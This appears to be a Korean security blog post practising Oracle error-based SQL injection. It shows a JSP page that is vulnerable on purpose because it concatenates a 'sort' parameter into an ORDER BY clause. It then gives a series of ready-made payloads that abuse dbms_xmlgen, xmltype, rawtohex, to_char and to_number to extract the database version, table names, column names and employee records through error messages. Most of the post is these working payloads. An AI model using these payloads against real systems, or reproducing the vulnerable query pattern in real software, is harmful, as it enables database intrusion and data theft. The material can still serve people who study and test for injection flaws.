Self-Improvement
Oracle Error SQLi 실습(XML 내장함수, to_char(), to_number(), rawtohex()) 본문
Oracle 데이터베이스는 where 절을 할 시에는 무조건 '='와 대응되는 무언가가 있어야한다.
소스코드 1
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ include file="dbcon.jsp" %>
<%@ page import="java.util.*,java.text.*"%>
<html>
<head>
<title>opensecurelab</title>
</head>
<body>
<table border=1 cellpadding=5 cellspacing=0>
<tr>
<td>Employee ID</td>
<td>FirstName</td>
<td>JOB_ID</td>
<td>HireDate</td>
</tr>
<%
String _sort=request.getParameter("sort");
if (_sort==""){
_sort="employeee_id";
}
sql = "select * from employees order by "+_sort;
stmt = con.createStatement();
rs = stmt.executeQuery(sql);
while(rs.next()) {
String empid = rs.getString("employee_id");
String name = rs.getString("first_name");
String jobid = rs.getString("job_id");
String hiredate = rs.getString("hire_date");
%>
<tr>
<td><%=empid%></td>
<td><%=name%></td>
<td><%=jobid%></td>
<td><%=hiredate%></td>
</tr>
<%
}
if(rs != null) rs.close();
if(stmt != null) stmt.close();
if(con != null)con.close();
%>
</table>
</body>
</html>
|
cs |
dbms_xmlgen.getxml
|| 는 HTTP 인코딩 방식으로 %7c%7c로 변경해준다.
[테이블 정보]
|
(to_char(dbms_xmlgen.getxml('select "' || substr((select table_name from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1),1,30) || '" from dual'))) or (select to_char(dbms_xmlgen.getxml('select "' || substr((select table_name from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1),1,30)|| '" from dual')) from dual) |
[칼럼 정보]
|
(to_char(dbms_xmlgen.getxml('select "' || substr((select column_name from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1),1,30)|| '" from dual'))) or (select to_char(dbms_xmlgen.getxml('select "' || substr((select column_name from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1),1,30))||'" from dual')) from dual) |
[데이터 정보]
|
(to_char(dbms_xmlgen.getxml('select "' || substr((select employee_id||','||first_name from (select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1),1,30)|| '" from dual'))) or (select to_char(dbms_xmlgen.getxml('select "' || substr((select employee_id||','||first_name from (select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1),1,30)|| '" from dual'))from dual) |
dbms_xmlgen.getxmltype().extract()
to_number로 해야 결과가 추출됨
[테이블 정보]
|
(TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select table_name from(select rownum as rowidx, table_name from tabs)t where t.rowidx=1)))) or (select TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select table_name from(select rownum as rowidx, table_name from tabs)t where t.rowidx=1)))from dual) |
[칼럼 정보]
|
(TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select column_name from(select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1)))) or (select TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select column_name from(select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1)))from dual) |
[데이터 정보]
|
(TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1)))) or (select TO_NUMBER(dbms_xmlgen.getxmltype('select tname from tab').extract('.' || (select employee_id||','||first_name from(select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1)))from dual) |
XMLType
[버전 정보]
|
(rawtohex(xmltype((select '<start_'|| rawtohex(banner)||'_end:root>' from v$version where rownum=1)))) or (select rawtohex(xmltype((select '<start_'|| rawtohex(banner)||'_end:root>' from v$version where rownum=1))) from dual) |
[테이블 정보]
|
(rawtohex(xmltype((select '<start_'|| rawtohex(table_name)||'_end:root>' from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1)))) or (select rawtohex(xmltype((select '<start_'|| rawtohex(table_name)||'_end:root>' from (select rownum as rowidx, table_name from tabs)t where t.rowidx=1)))from dual) |
[칼럼 정보]
|
(rawtohex(xmltype((select '<start_'|| rawtohex(column_name)||'_end:root>' from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1)))) or (select rawtohex(xmltype((select '<start_'|| rawtohex(column_name)||'_end:root>' from (select rownum as rowidx, column_name from cols where table_name='EMPLOYEES')t where t.rowidx=1)))from dual) |
[데이터 정보]
|
(rawtohex(xmltype((select '<start_'|| rawtohex(employee_id||','||first_name)||'_end:root>' from (select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1)))) or (select rawtohex(xmltype((select '<start_'|| rawtohex(employee_id||','||first_name)||'_end:root>' from (select rownum as rowidx, employee_id, first_name from EMPLOYEES)t where t.rowidx=1)))from dual) |
'SQLi' 카테고리의 다른 글
| INSERT Error SQLi(MySQL, MSSQL, Oracle) (0) | 2020.04.20 |
|---|---|
| 잘못 구현된 Prepared Statement 취약점 (0) | 2020.04.20 |
| Oracle Error SQLi 단일 열 (XML 내장함수, rawtohex(), rownum, to_char(), substr()) (0) | 2020.04.19 |
| Oracle Error SQLi 단일 열(Network 내장함수, Oracle 11g 미만) (0) | 2020.04.18 |
| Oracle DB 단일 열 쿼리 ROWNUM() 함수 기본쿼리 (0) | 2020.04.18 |
